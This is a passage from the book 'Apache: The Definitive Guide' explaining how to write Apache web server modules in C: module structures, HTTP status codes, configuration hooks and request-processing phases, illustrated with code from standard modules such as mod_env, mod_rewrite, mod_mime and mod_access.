[78]Of course, if you don't mind the hack being even more ghastly, it doesn't have to be first.

struct extra_data {
    ap_vformatter_buff vbuff;
    int some_extra_data;
    ...
};

Next, the printf()-style routine calls ap_vformatter with an instance of this structure:

struct extra_data mine;
    ...
    mine.some_extra_data=123;
    ap_vformatter(my_flush,&mine.vbuff,fmt,ap);
    ...

Finally, my_flush() does this:

API_EXPORT(int) my_flush(ap_vformatter_buff *vbuff)
{
    struct extra_data *pmine=(struct extra_data *)vbuff;
    assert(pmine->some_extra_data == 123);
    ...

As you can probably guess, we don't entirely approve of this technique, but it works.

ap_vformatter() does all the usual formatting, except that %p has been changed to %pp, and %pA formats a struct in_addr * as a.b.c.d , and %pI formats a struct sockaddr_in * as a.b.c.d:port. The reason for these strange-looking formats is to take advantage of gcc 's format string checking, which will make sure a %p corresponds to a pointer.

Previous | Home | Next
14.5. Access to Configuration and Request Information | Book Index | 15. Writing Apache Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Writing Apache Modules (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 15. Writing Apache Modules

Contents:

Overview
Status Codes
The Module Structure
A Complete Example
General Hints

One of the great things about Apache is that if you don't like what it does, you can change it. Now, this is true for any package with source code available, but Apache is different. It has a generalized interface to modules that extends the functionality of the base package. In fact, when you download Apache you get far more than just the base package, which is barely capable of serving files at all. You get all the modules the Apache Group considers vital to a web server. You also get modules that are useful enough to most people to be worth the effort of the Group to maintain them.

In this chapter, we explore the intricacies of programming modules for Apache.[79] We expect you to be thoroughly conversant in C and Unix (or Win32), because we are not going to explain anything about them. Refer to Chapter 14, "The Apache API", or your Unix/Win32 manuals for information about functions used in the examples. We also assume that you are familiar with the HTTP/1.1 specification, where relevant. Fortunately, for many purposes, you don't have to know much about HTTP/1.1.

[79]For more on Apache modules, see Writing Apache Modules with Perl and C, by Lincoln Stein and Doug MacEachern (O'Reilly & Associates).

15.1. Overview

Perhaps the most important part of an Apache module is the module structure. This is defined in http_config.h, so all modules should start (apart from copyright notices, etc.) with the following lines:

#include "httpd.h"
#include "http_config.h"

Note that httpd.h is required for all Apache source code.

What is the module structure for? Simple: It provides the glue between the Apache core and the module's code. It contains pointers (to functions, lists, and so on) that are used by components of the core at the correct moments. The core knows about the various module structures because they are listed in modules.c, which is generated by the Configure script from the Configuration file.[80]

[80]Which means, of course, that one should not edit modules.c by hand. Rather, the Configuration file should be edited; see Chapter 1, "Getting Started".

Traditionally, each module ends with its module structure. Here is a particularly trivial example, from mod_asis.c:

module asis_module = {
   STANDARD_MODULE_STUFF,
   NULL,                          /* initializer */
   NULL,                          /* create per-directory config structure */
   NULL,                          /* merge per-directory config structures */
   NULL,                          /* create per-server config structure */
   NULL,                          /* merge per-server config structures */
   NULL,                          /* command table */
   asis_handlers,                 /* handlers */
   NULL,                          /* translate_handler */
   NULL,                          /* check_user_id */
   NULL,                          /* check auth */
   NULL,                          /* check access */
   NULL,                          /* type_checker */
   NULL,                          /* prerun fixups */
   NULL                           /* logger */
   NULL,                          /* header parser */
   NULL,                          /* child_init */
   NULL,                          /* child_exit */
   NULL                           /* post read request */
};

The first entry, STANDARD_MODULE_STUFF, must appear in all module structures. It initializes some structure elements that the core uses to manage modules. Currently, these are the API version number,[81] the index of the module in various vectors, the name of the module (actually its filename), and a pointer to the next module structure in a linked list of all modules.[82]

[81]Used, in theory, to adapt to old precompiled modules that used an earlier version of the API. We say "in theory" because it is not used this way in practice.

[82]The head of this list is top_module. This is occasionally useful to know. The list is actually set up at runtime.

The only other entry is for handlers. We will look at this in more detail further on. Suffice it to say, for now, that this entry points to a list of strings and functions that define the relationship between MIME or handler types and the functions that handle them. All the other entries are defined to NULL, which simply means that the module does not use those particular hooks.

Previous | Home | Next
14.6. Functions | Book Index | 15.2. Status Codes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Status Codes (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

15.2. Status Codes

The HTTP/1.1 standard (see the demonstration CD-ROM) defines many status codes that can be returned as a response to a request. Most of the functions involved in processing a request return OK, DECLINED, or a status code. DECLINED generally means that the module is not interested in processing the request; OK means it did process it, or that it is happy for the request to proceed, depending on which function was called. Generally, a status code is simply returned to the user agent, together with any headers defined in the request structure's headers_out table. At the time of writing, the status codes predefined in httpd.h were as follows:

#define HTTP_CONTINUE                      100
#define HTTP_SWITCHING_PROTOCOLS           101
#define HTTP_OK                            200
#define HTTP_CREATED                       201
#define HTTP_ACCEPTED                      202
#define HTTP_NON_AUTHORITATIVE             203
#define HTTP_NO_CONTENT                    204
#define HTTP_RESET_CONTENT                 205
#define HTTP_PARTIAL_CONTENT               206
#define HTTP_MULTIPLE_CHOICES              300
#define HTTP_MOVED_PERMANENTLY             301
#define HTTP_MOVED_TEMPORARILY             302
#define HTTP_SEE_OTHER                     303
#define HTTP_NOT_MODIFIED                  304
#define HTTP_USE_PROXY                     305
#define HTTP_BAD_REQUEST                   400
#define HTTP_UNAUTHORIZED                  401
#define HTTP_PAYMENT_REQUIRED              402
#define HTTP_FORBIDDEN                     403
#define HTTP_NOT_FOUND                     404
#define HTTP_METHOD_NOT_ALLOWED            405
#define HTTP_NOT_ACCEPTABLE                406
#define HTTP_PROXY_AUTHENTICATION_REQUIRED 407
#define HTTP_REQUEST_TIME_OUT              408
#define HTTP_CONFLICT                      409
#define HTTP_GONE                          410
#define HTTP_LENGTH_REQUIRED               411
#define HTTP_PRECONDITION_FAILED           412
#define HTTP_REQUEST_ENTITY_TOO_LARGE      413
#define HTTP_REQUEST_URI_TOO_LARGE         414
#define HTTP_UNSUPPORTED_MEDIA_TYPE        415
#define HTTP_INTERNAL_SERVER_ERROR         500
#define HTTP_NOT_IMPLEMENTED               501
#define HTTP_BAD_GATEWAY                   502
#define HTTP_SERVICE_UNAVAILABLE           503
#define HTTP_GATEWAY_TIME_OUT              504
#define HTTP_VERSION_NOT_SUPPORTED         505
#define HTTP_VARIANT_ALSO_VARIES           506

For backward compatibility, these are also defined:

#define DOCUMENT_FOLLOWS    HTTP_OK
#define PARTIAL_CONTENT     HTTP_PARTIAL_CONTENT
#define MULTIPLE_CHOICES    HTTP_MULTIPLE_CHOICES
#define MOVED               HTTP_MOVED_PERMANENTLY
#define REDIRECT            HTTP_MOVED_TEMPORARILY
#define USE_LOCAL_COPY      HTTP_NOT_MODIFIED
#define BAD_REQUEST         HTTP_BAD_REQUEST
#define AUTH_REQUIRED       HTTP_UNAUTHORIZED
#define FORBIDDEN           HTTP_FORBIDDEN
#define NOT_FOUND           HTTP_NOT_FOUND
#define METHOD_NOT_ALLOWED  HTTP_METHOD_NOT_ALLOWED
#define NOT_ACCEPTABLE      HTTP_NOT_ACCEPTABLE
#define LENGTH_REQUIRED     HTTP_LENGTH_REQUIRED
#define PRECONDITION_FAILED HTTP_PRECONDITION_FAILED
#define SERVER_ERROR        HTTP_INTERNAL_SERVER_ERROR
#define NOT_IMPLEMENTED     HTTP_NOT_IMPLEMENTED
#define BAD_GATEWAY         HTTP_BAD_GATEWAY
#define VARIANT_ALSO_VARIES HTTP_VARIANT_ALSO_VARIES

Details of the meaning of these codes are left to the HTTP/1.1 specification, but there are a couple worth mentioning here. HTTP_OK (formerly known as DOCUMENT_FOLLOWS) should not normally be used, because it aborts further processing of the request. HTTP_MOVED_TEMPORARILY (formerly known as REDIRECT) causes the browser to go to the URL specified in the Location header. HTTP_NOT_MODIFIED (formerly known as USE_LOCAL_COPY) is used in response to a header that makes a GET conditional (e.g., If-Modified-Since).

Previous | Home | Next
15. Writing Apache Modules | Book Index | 15.3. The Module Structure
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Module Structure (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

15.3. The Module Structure

Now we will look in detail at each entry in the module structure. We examine the entries in the order in which they are used, which is not the order in which they appear in the structure, and also show how they are used in the standard Apache modules.

15.3.1. Create Per-Server Config Structure

void *module_create_svr_config(pool *pPool, server_rec *pServer)

This structure creates the per-server configuration structure for the module. It is called once for the main server and once per virtual host. It allocates and initializes the memory for the per-server configuration and returns a pointer to it. pServer points to the server_rec for the current server.

15.3.1.1. Example

From mod_env.c:

typedef struct {
    table *vars;
    char *unsetenv;
    int vars_present;
} env_server_config_rec;

void *create_env_server_config (pool *p, server_rec *dummy)
{
    env_server_config_rec *new =
      (env_server_config_rec *) palloc (p, sizeof(env_server_config_rec));
    new->vars = make_table (p, 50);
    new->unsetenv = "";
    new->vars_present = 0;
    return (void *) new;
}

All this code does is allocate and initialize a copy of env_server_config_rec, which gets filled in during configuration.

15.3.2. Create Per-Directory Config Structure

void *module_create_dir_config(pool *pPool,char *szDir)

This structure is called once per module, with szDir set to NULL, when the main host's configuration is initialized, and again for each <Directory>, <Location>, or <File> section in the Config files containing a directive from this module, with szPath set to the directory. Any per-directory directives found outside <Directory>, <Location>, or <File> sections end up in the NULL configuration. It is also called when .htaccess files are parsed, with the name of the directory in which they reside. Because this function is used for .htaccess files, it may also be called after the initializer is called. Also, the core caches per-directory configurations arising from .htaccess files for the duration of a request, so this function is called only once per directory with an .htaccess file.

If a module does not support per-directory configuration, any directives that appear in a <Directory> section override the per-server configuration unless precautions are taken. The usual way to avoid this is to set the req _overrides member appropriately.

The purpose of this function is to allocate and initialize the memory required for any per-directory configuration. It returns a pointer to the allocated memory.

15.3.2.1. Example

From mod_rewrite.c:

static void *config_perdir_create(pool *p, char *path)
{
    rewrite_perdir_conf *a;
    a = (rewrite_perdir_conf *)pcalloc(p, sizeof(rewrite_perdir_conf));

    a->state           = ENGINE_DISABLED;
    a->rewriteconds    = make_array(p, 2, sizeof(rewritecond_entry));
    a->rewriterules    = make_array(p, 2, sizeof(rewriterule_entry));
    a->directory       = pstrdup(p, path);
    a->baseurl         = NULL;
    return (void *)a;
}

This function allocates memory for a rewrite_ perdir_conf structure (defined elsewhere in mod_rewrite.c) and initializes it. Since this function is called for every <Directory> section, regardless of whether it contains any rewriting directives, the initialization makes sure the engine is disabled unless specifically enabled later.

15.3.3. Per-Server Merger

void *module_merge_server(pool *pPool, void *base_conf, void *new_conf)

Once the Config files have been read, this function is called once for each virtual host, with base_conf pointing to the main server's configuration (for this module), and new_conf pointing to the virtual host's configuration. This gives you the opportunity to inherit any unset options in the virtual host from the main server or to merge the main server's entries into the virtual server, if appropriate. It returns a pointer to the new configuration structure for the virtual host (or it just returns new_conf, if appropriate).

It is possible that future changes to Apache will allow merging of hosts other than the main one, so don't rely on base_conf pointing to the main server.

15.3.3.1. Example

From mod_env.c:

void *merge_env_server_configs (pool *p, void *basev, void *addv)
{
    env_server_config_rec *base = (env_server_config_rec *)basev;
    env_server_config_rec *add = (env_server_config_rec *)addv;
    env_server_config_rec *new =
      (env_server_config_rec *)palloc (p, sizeof(env_server_config_rec));
    table *new_table;
    table_entry *elts;
    int i;
    char *uenv, *unset;

    new_table = copy_table( p, base->vars );
    elts = (table_entry *) add->vars->elts;
    for ( i = 0; i < add->vars->nelts; ++i ) {
        table_set( new_table, elts[i].key, elts[i].val );
    }
    unset = add->unsetenv;
    uenv = getword_conf( p, &unset );
    while ( uenv[0] != '\0' ) {
        table_unset( new_table, uenv );
        uenv = getword_conf( p, &unset );
    }
    new->vars = new_table;
    new->vars_present = base->vars_present || add->vars_present;
    return new;
}

This function creates a new configuration into which it then copies the base vars table (a table of environment variable names and values). It then runs through the individual entries of the addv vars table, setting them in the new table. It does this rather than use overlay_tables() because overlay_tables() does not deal with duplicated keys. Then the addv configuration's unsetenv (which is a space-separated list of environment variables to unset) unsets any variables specified to be unset for addv 's server.

15.3.4. Per-Directory Merger

void *module_dir_merge(pool *pPool, void *base_conf, void *new_conf)

Like the per-server merger, this is called once for each virtual host (not for each directory). It is handed the per-server document root per-directory Config (that is, the one that was created with a NULL directory name).

Whenever a request is processed, this function merges all relevant <Directory> sections and then merges .htacess files (interleaved, starting at the root and working downward), then <File> and <Location> sections, in that order.

Unlike the per-server merger, per-directory merger is called as the server runs, possibly with different combinations of directory, location, and file configurations for each request, so it is important that it copies the configuration (in new_conf) if it is going to change it.

15.3.4.1. Example

Now the reason we chose mod_rewrite.c for the per-directory creator becomes apparent, as it is a little more interesting than most:

static void *config_perdir_merge(pool *p, void *basev, void *overridesv)
{
    rewrite_perdir_conf *a, *base, *overrides;
    a     = (rewrite_perdir_conf *)pcalloc(p, sizeof(rewrite_perdir_conf));
    base  = (rewrite_perdir_conf *)basev;
    overrides = (rewrite_perdir_conf *)overridesv;

    a->state           = overrides->state;
    a->options         = overrides->options;
    a->directory       = overrides->directory;
    a->baseurl         = overrides->baseurl;
    if (a->options & OPTION_INHERIT) {
        a->rewriteconds = append_arrays(p, overrides->rewriteconds,
             base->rewriteconds);
        a->rewriterules = append_arrays(p, overrides->rewriterules,
             base->rewriterules);
    }
    else {
        a->rewriteconds = overrides->rewriteconds;
        a->rewriterules = overrides->rewriterules;
    }
    return (void *)a;
}

As you can see, this merges the configuration from the base conditionally, depending on whether the new configuration specified an INHERIT option or not.

15.3.5. Command Table

command_rec aCommands[]

This structure points to an array of directives that configure the module. Each entry names a directive, specifies a function that will handle the command, and specifies which AllowOverride directives must be in force for the command to be permitted. Each entry then specifies how the directive's arguments are to be parsed and supplies an error message in case of syntax errors (such as the wrong number of arguments, or a directive used where it shouldn't be).

The definition of command_rec can be found in http_config.h:

typedef struct command_struct {
  char *name;               /* Name of this command */
  char *(*func)();          /* Function invoked */
  void *cmd_data;           /* Extra data, for functions that
                             * implement multiple commands...
                             */
  int req_override;         /* What overrides need to be allowed to
                             * enable this command
                             */
  enum cmd_how args_how;    /* What the command expects as arguments */

  char *errmsg;             /* 'usage' message, in case of syntax errors */
} command_rec;

cmd_how is defined as follows:

enum cmd_how {
  RAW_ARGS,                     /* cmd_func parses command line itself */
  TAKE1,                        /* one argument only */
  TAKE2,                        /* two arguments only */
  ITERATE,                      /* one argument, occurring multiple times
                                 * (e.g., IndexIgnore)
                                 */
  ITERATE2,                     /* two arguments, 2nd occurs multiple times
                                 * (e.g., AddIcon)
                                 */
  FLAG,                         /* One of 'On' or 'Off' */
  NO_ARGS,                      /* No args at all, e.g. </Directory> */
  TAKE12,                       /* one or two arguments */
  TAKE3,                        /* three arguments only */
  TAKE23,                       /* two or three arguments */
  TAKE123,                      /* one, two, or three arguments */
  TAKE13                        /* one or three arguments */
};

These options determine how the function func is called when the matching directive is found in a Config file, but first we must look at one more structure, cmd_parms :

typedef struct {
    void *info;                /* Argument to command from cmd_table */
    int override;              /* Which allow-override bits are set */
    int limited;               /* Which methods are <Limit>ed */

    char *config_file;         /* Filename cmd read from */
    int config_line;           /* Line cmd read from */
    FILE *infile;              /* fd for more lines (not currently used) */

    pool *pool;                /* Pool to allocate new storage in */
    pool *temp_pool;           /* Pool for scratch memory; persists during
                                * configuration, but wiped before the first
                                * request is served...
                                */
    server_rec *server;        /* server_rec being configured for */
    char *path;                /* If configuring for a directory,
                                * pathname of that directory
                                */
    command_rec *cmd;          /* Configuration command */
} cmd_parms;

This structure is filled in and passed to the function associated with each directive. Note that cmd_parms.info is filled in with the value of command_rec.cmd_data, allowing arbitrary extra information to be passed to the function. The function is also passed its per-directory configuration structure, if there is one, shown in the following definitions as mconfig. The per-server configuration is accessed by a call similar to:

get_module_config(parms->server->module_config, &module_struct)

replacing module_struct with your own module's module structure. Extra information may also be passed, depending on the value of args_how :

RAW_ARGS

func(cmd_parms *parms, void *mconfig, char *args)

args is simply the rest of the line (that is, excluding the directive).

NO_ARGS

func(cmd_parms *parms, void *mconfig)

TAKE1

func(cmd_parms *parms, void *mconfig, char *w)

w is the single argument to the directive.

TAKE2, TAKE12

func(cmd_parms *parms, void *mconfig, char *w1, char *w2)

w1 and w2 are the two arguments to the directive. TAKE12 means the second argument is optional. If absent, w2 is NULL.

TAKE3, TAKE13, TAKE23, TAKE123

func(cmd_parms *parms, void *mconfig, char *w1, char *w2, char *w3)

w1, w2, and w3 are the three arguments to the directive. TAKE13, TAKE23, and TAKE123 mean that the directive takes one or three, two or three, and one, two, or three arguments, respectively. Missing arguments are NULL.

ITERATE

func(cmd_parms *parms, void *mconfig, char *w)

func is called repeatedly, once for each argument following the directive.

ITERATE2

func(cmd_parms *parms, void *mconfig, char *w1, char *w2)

There must be at least two arguments. func is called once for each argument, starting with the second. The first is passed to func every time.

FLAG

func(cmd_parms *parms, void *mconfig, int f)

The argument must be either On or Off. If On, then f is nonzero; if Off, f is zero.

req_override can be any combination of the following (ORed together):

#define OR_NONE 0
#define OR_LIMIT 1
#define OR_OPTIONS 2
#define OR_FILEINFO 4
#define OR_AUTHCFG 8
#define OR_INDEXES 16
#define OR_UNSET 32
#define ACCESS_CONF 64
#define RSRC_CONF 128
#define OR_ALL (OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_INDEXES)

This structure defines the circumstances under which a directive is permitted. The logical AND of this field and the current override state must be nonzero for the directive to be allowed. In configuration files, the current override state is:

RSRC_CONF|OR_OPTIONS|OR_FILEINFO|OR_INDEXES

when outside a <Directory> section, and is:

ACCESS_CONF|OR_LIMIT|OR_OPTIONS|OR_FILEINFO|OR_AUTHCFG|OR_INDEXES

when inside a <Directory> section.

In .htaccess files, the state is determined by the AllowOverride directive.

15.3.5.1. Example

From mod_mime.c:

command_rec mime_cmds[] = {
{ "AddType", add_type, NULL, OR_FILEINFO, ITERATE2,
    "a mime type followed by one or more file extensions" },
{ "AddEncoding", add_encoding, NULL, OR_FILEINFO, ITERATE2,
    "an encoding (e.g., gzip), followed by one or more file extensions" },
{ "AddLanguage", add_language, NULL, OR_FILEINFO, ITERATE2,
    "a language (e.g., fr), followed by one or more file extensions" },
{ "AddHandler", add_handler, NULL, OR_FILEINFO, ITERATE2,
    "a handler name followed by one or more file extensions" },
{ "ForceType", set_string_slot, (void*)XtOffsetOf(mime_dir_config, type),
    OR_FILEINFO, TAKE1, "a media type" },
{ "SetHandler", set_string_slot, (void*)XtOffsetOf(mime_dir_config,
    handler), OR_FILEINFO, TAKE1, "a handler name" },
{ "TypesConfig", set_types_config, NULL, RSRC_CONF, TAKE1,
    "the MIME types config file" },
{ NULL }
};

Note the use of set_string_slot(). This standard function uses the offset defined in cmd_data, using XtOffsetOf to set a char* in the per-directory configuration of the module.

15.3.6. Initializer

void module_init(server_rec *pServer, pool *pPool)

This function is called after the server configuration files have been read but before any requests are handled. Like the configuration functions, it is called each time the server is reconfigured, so care must be taken to make sure it behaves correctly on the second and subsequent calls. This is the last function to be called before Apache forks the request-handling children. pServer is a pointer to the server_rec for the main host. pPool is a pool that persists until the server is reconfigured. Note that, at least in the current version of Apache:

pServer->server_hostname

may not yet be initialized. If the module is going to add to the version string with ap_add_version_component(), then this is a good place to do it.

It is possible to iterate through all the server configurations by following the next member of pServer, as in the following:

for( ; pServer ; pServer=pServer->next)
    ;

15.3.6.1. Example

From mod_mime.c:

#define MIME_HASHSIZE 27
#define hash(i) (isalpha(i) ? (tolower(i)) - 'a' : 26)

static table *hash_buckets[MIME_HASHSIZE];

void init_mime (server_rec *s, pool *p)
{
    FILE *f;
    char l[MAX_STRING_LEN];
    int x;
    char *types_confname = get_module_config (s->module_config,
               &mime_module);

    if (!types_confname) types_confname = TYPES_CONFIG_FILE;

    types_confname = server_root_relative (p, types_confname);

    if(!(f = fopen(types_confname,"r"))) {
        fprintf(stderr,"httpd: could not open mime types file %s\n",
               types_confname);
        perror("fopen");
        exit(1);
    }

    for(x=0;x<27;x++)
        hash_buckets[x] = make_table (p, 10);

    while(!(cfg_getline(l,MAX_STRING_LEN,f))) {
        char *ll = l, *ct;

        if(l[0] == '#'. continue;
        ct = getword_conf (p, &ll);

        while(ll[0]) {
            char *ext = getword_conf (p, &ll);
            str_tolower (ext);  /* ??? */
            table_set (hash_buckets[hash(ext[0])], ext, ct);
        }
    }
    fclose(f);
}

15.3.7. Child Initialization

static void
module_child_init(server_rec *pServer,pool *pPool)

An Apache server may consist of many processes (on Unix, for example) or a single process with many threads (on Win32) or, in the future, a combination of the two. module_child_init() is called once for each instance of a heavyweight process, that is, whatever level of execution corresponds to a separate address space, file handles, etc. In the case of Unix, this is once per child process, but on Win32 it is called only once in total, not once per thread. This is because threads share address space and other resources. There is not currently a corresponding per-thread call, but there may be in the future. There is a corresponding call for child exit, described later in this chapter.

15.3.7.1. Example

From mod_unique_id.c:

static void unique_id_child_init(server_rec *s, pool *p)
{
    pid_t pid;
#ifndef NO_GETTIMEOFDAY
    struct timeval tv;
#endif

    pid = getpid();
    cur_unique_id.pid = pid;

    if (cur_unique_id.pid != pid) {
        ap_log_error(APLOG_MARK, APLOG_NOERRNO|APLOG_CRIT, s,
                    "oh no! pids are greater than 32-bits!  I'm broken!");
    }

    cur_unique_id.in_addr = global_in_addr;

#ifndef NO_GETTIMEOFDAY
    if (gettimeofday(&tv, NULL) == -1) {
        cur_unique_id.counter = 0;
    }
    else {
        cur_unique_id.counter = tv.tv_usec / 10;
    }
#else
    cur_unique_id.counter = 0;
#endif

    cur_unique_id.pid = htonl(cur_unique_id.pid);
    cur_unique_id.counter = htons(cur_unique_id.counter);
}

mod_unique_id.c 's purpose in life is to provide an ID for each request that is unique across all web servers everywhere (or, at least at a particular site). In order to do this it uses various bits of uniqueness, including the process ID of the child and the time at which it was forked, which is why it uses this hook.

15.3.8. Post Read Request

static int

module_post_read_request(request_rec *pReq)

This function is called immediately after the request headers have been read, or, in the case of an internal redirect, synthesized. It is not called for subrequests. It can return OK, DECLINED, or a status code. If something other than DECLINED is returned, no further modules are called. This can be used to make decisions based purely on the header content. Currently the only standard Apache module to use this hook is the proxy module.

15.3.8.1. Example

From mod_proxy.c:

/* Detect if an absolute URI should be proxied or not. Note that we
 * have to do this during this phase because later phases are
 * "short-circuiting"... i.e., translate_names will end when the first
 * module returns OK. So for example, if the request is something like:
 *
 * GET http://othervhost/cgi-bin/printenv HTTP/1.0
 *
 * mod_alias will notice the /cgi-bin part and ScriptAlias it and
 * short-circuit the proxy... just because of the ordering in the
 * configuration file.
 */
static int proxy_detect(request_rec *r)
{
    void *sconf = r->server->module_config;
    proxy_server_conf *conf;

    conf = (proxy_server_conf *) ap_get_module_config(sconf, &proxy_module);

    if (conf->req && r->parsed_uri.scheme) {
    /* but it might be something vhosted */
       if (!(r->parsed_uri.hostname
           && !strcasecmp(r->parsed_uri.scheme, ap_http_method(r))
           && ap_matches_request_vhost(r, r->parsed_uri.hostname,
               r->parsed_uri.port_str ? r->parsed_uri.port : ap_default_port(r)))) {
        r->proxyreq = 1;
        r->uri = r->unparsed_uri;
        r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL);
        r->handler = "proxy-server";
        }
    }
    /* We need special treatment for CONNECT proxying: it has no scheme part */
    else if (conf->req && r->method_number == M_CONNECT
        && r->parsed_uri.hostname
        && r->parsed_uri.port_str) {
        r->proxyreq = 1;
        r->uri = r->unparsed_uri;
        r->filename = ap_pstrcat(r->pool, "proxy:", r->uri, NULL);
        r->handler = "proxy-server";
    }
    return DECLINED;
}

This code checks for a request that includes a hostname that does not match the current virtual host (which, since it will have been chosen on the basis of the hostname in the request, means it doesn't match any virtual host), or a CONNECT method (which only proxies use). If either of these conditions are true, the handler is set to proxy-server, and the filename is set to proxy:uri so that the later phases will be handled by the proxy module.

15.3.9. Translate Name

int module_translate(request_rec *pReq)

This function's task is to translate the URL in a request into a filename. The end result of its deliberations should be placed in pReq->filename. It should return OK, DECLINED, or a status code. The first module that doesn't return DECLINED is assumed to have done the job, and no further modules are called. Since the order in which modules are called is not defined, it is a good thing if the URLs handled by the modules are mutually exclusive. If all modules return DECLINED, a configuration error has occurred. Obviously, the function is likely to use the per-directory and per-server configurations (but note that at this stage, the per-directory configuration refers to the root configuration of the current server) in order to determine whether it should handle the request, as well as the URL itself (in pReq->uri). If a status is returned, the appropriate headers for the response should also be set in pReq->headers_out.

15.3.9.1. Example

Naturally enough, this comes from mod_alias.c:

char *try_alias_list (request_rec *r, array_header *aliases, int doesc)
{
    alias_entry *entries = (alias_entry *)aliases->elts;
    int i;

    for (i = 0; i < aliases->nelts; ++i) {
        alias_entry *p = &entries[i];
        int l = alias_matches (r->uri, p->fake);
        if (l > 0) {
            if (p->handler) { /* Set handler and leave a note for mod_cgi */
                r->handler = pstrdup(r->pool, p->handler);
                table_set (r->notes, "alias-forced-type", p->handler);
            }
            if (doesc) {
                char *escurl;
                escurl = os_escape_path(r->pool, r->uri + l, 1);
                return pstrcat(r->pool, p->real, escurl, NULL);
            } else
                return pstrcat(r->pool, p->real, r->uri + l, NULL);
        }
    }
    return NULL;
}

int translate_alias_redir(request_rec *r)
{
    void *sconf = r->server->module_config;
    alias_server_conf *serverconf =
        (alias_server_conf *)get_module_config(sconf, &alias_module);
    char *ret;
#ifdef __EMX__
    /* Add support for OS/2 drive names */
    if ((r->uri[0] != '/' && r->uri[0] != '\0'. && r->uri[1] != ':'.
#else
    if (r->uri[0] != '/' && r->uri[0] != '\0'.
#endif
        return DECLINED;
    if ((ret = try_alias_list (r, serverconf->redirects, 1)) != NULL) {
        table_set (r->headers_out, "Location", ret);
        return REDIRECT;
    }

    if ((ret = try_alias_list (r, serverconf->aliases, 0)) != NULL) {
        r->filename = ret;
        return OK;
    }

    return DECLINED;
}

First of all, this example tries to match a Redirect directive. If it does, the Location header is set in headers_out, and REDIRECT is returned. If not, it translates into a filename. Note that it may also set a handler (in fact, the only handler it can possibly set is cgi-script, which it does if the alias was created by a ScriptAlias directive). An interesting feature is that it sets a note for mod_cgi.c, namely alias-forced-type. This is used by mod_cgi.c to determine whether the CGI script is invoked via a ScriptAlias, in which case Options ExecCGI is not needed.[83] For completeness, here is the code from mod_cgi.c that makes the test:

[83]This is a backward-compatibility feature.

int is_scriptaliased (request_rec *r)
{
    char *t = table_get (r->notes, "alias-forced-type");
    return t && (!strcmp (t, "cgi-script"));
}

15.3.10. An Interjection

At this point, the filename is known as well as the URL, and Apache reconfigures itself to hand subsequent module functions the relevant per-directory configuration (actually composed of all matching directory, location, and file configurations, merged with each other via the per-directory merger, in that order).[84]

[84]In fact, some of this is done before the Translate Name phase, and some after, since the location information can be used before name translation is done, but filename information obviously cannot be. If you really want to know exactly what is going on, probe the behavior with mod_reveal.c.

15.3.11. Header Parser

static int

module_header_parser(request_rec *pReq)

This routine is similar in intent to the Post Read Request phase. It can return OK, DECLINED, or a status code. If something other than DECLINED is returned, no further modules are called. The intention was to make decisions based on the headers sent by the client. However, its use has been superseded by Post Read Request (which was introduced later in the development process) and it is not currently used by any standard module. For that reason, it is not possible to illustrate it with an example.

15.3.12. Check Access

int module_check_access(request_rec *pReq)

This routine checks access, in the allow/deny sense. It can return OK , DECLINED, or a status code. All modules are called until one of them returns something other than DECLINED or OK. If all modules return DECLINED, it is considered a configuration error. At this point, the URL and the filename (if relevant) are known, as are the client's address, user agent, and so forth. All of these are available through pReq. As long as everything says DECLINED or OK, the request can proceed.

15.3.12.1. Example

The only example available in the standard modules is, unsurprisingly, from mod_access.c:

int find_allowdeny (request_rec *r, array_header *a, int method)
{
    allowdeny *ap = (allowdeny *)a->elts;
    int mmask = (1 << method);
    int i, gothost=0;
    const char *remotehost=NULL;

    for (i = 0; i < a->nelts; ++i) {
        if (!(mmask & ap[i].limited))
            continue;
        if (ap[i].from && !strcmp(ap[i].from, "user-agents")) {
            char * this_agent = table_get(r->headers_in, "User-Agent");
            int j;

            if (!this_agent) return 0;

            for (j = i+1; j < a->nelts; ++j) {
                if (strstr(this_agent, ap[j].from)) return 1;
            }
            return 0;
        }

        if (!strcmp (ap[i].from, "all"))
            return 1;
        if (!gothost)
        {
            remotehost = get_remote_host(r->connection, r->per_dir_config,
                                         REMOTE_HOST);
            gothost = 1;
        }
        if (remotehost != NULL && isalpha(remotehost[0]))
            if (in_domain(ap[i].from, remotehost))
                return 1;
        if (in_ip (ap[i].from, r->connection->remote_ip))
            return 1;
    }
    return 0;
}

int check_dir_access (request_rec *r)
{
    int method = r->method_number;
    access_dir_conf *a =
        (access_dir_conf *)
           get_module_config (r->per_dir_config, &access_module);
    int ret = OK;

    if (a->order[method] == ALLOW_THEN_DENY) {
        ret = FORBIDDEN;
        if (find_allowdeny (r, a->allows, method))
            ret = OK;
        if (find_allowdeny (r, a->denys, method))
            ret = FORBIDDEN;
    } else if (a->order[method] == DENY_THEN_ALLOW) {
        if (find_allowdeny (r, a->denys, method))
            ret = FORBIDDEN;
        if (find_allowdeny (r, a->allows, method))
            ret = OK;
    }
    else {
        if (find_allowdeny(r, a->allows, method)
            && !find_allowdeny(r, a->denys, method))
            ret = OK;
        else
            ret = FORBIDDEN;
    }

    if (ret == FORBIDDEN)
        log_reason ("Client denied by server configuration", r->filename, r);

    return ret;
}

Pretty straightforward stuff. in_ip() and in_domain() check whether an IP address or domain name, respectively, match the IP or domain of the client.

15.3.13. Check User ID

int module_check_user_id(request_rec *pReq)

This function is responsible for acquiring and checking a user ID. The user ID should be stored in pReq->connection->user. The function should return OK, DECLINED, or a status code. Of particular interest is HTTP_UNAUTHORIZED (formerly known as AUTH_REQUIRED), which should be returned if the authorization fails (either because the user agent presented no credentials, or because those presented were not correct). All modules are polled until one returns something other than DECLINED. If all decline, a configuration error is logged, and an error returned to the user agent. When HTTP_UNAUTHORIZED is returned, an appropriate header should be set to inform the user agent of the type of credentials to present when it retries. Currently the appropriate header is WWW-Authenticate (see the HTTP/1.1 specification for details). Unfortunately, Apache's modularity is not quite as good as it might be in this area, so this hook usually provides alternate ways of accessing the user/password database, rather than changing the way authorization is actually done, as evidenced by the fact that the protocol side of authorization is currently dealt with in http_protocol.c, rather than in the module. Note that this function checks the validity of the username and password, and not whether the particular user has 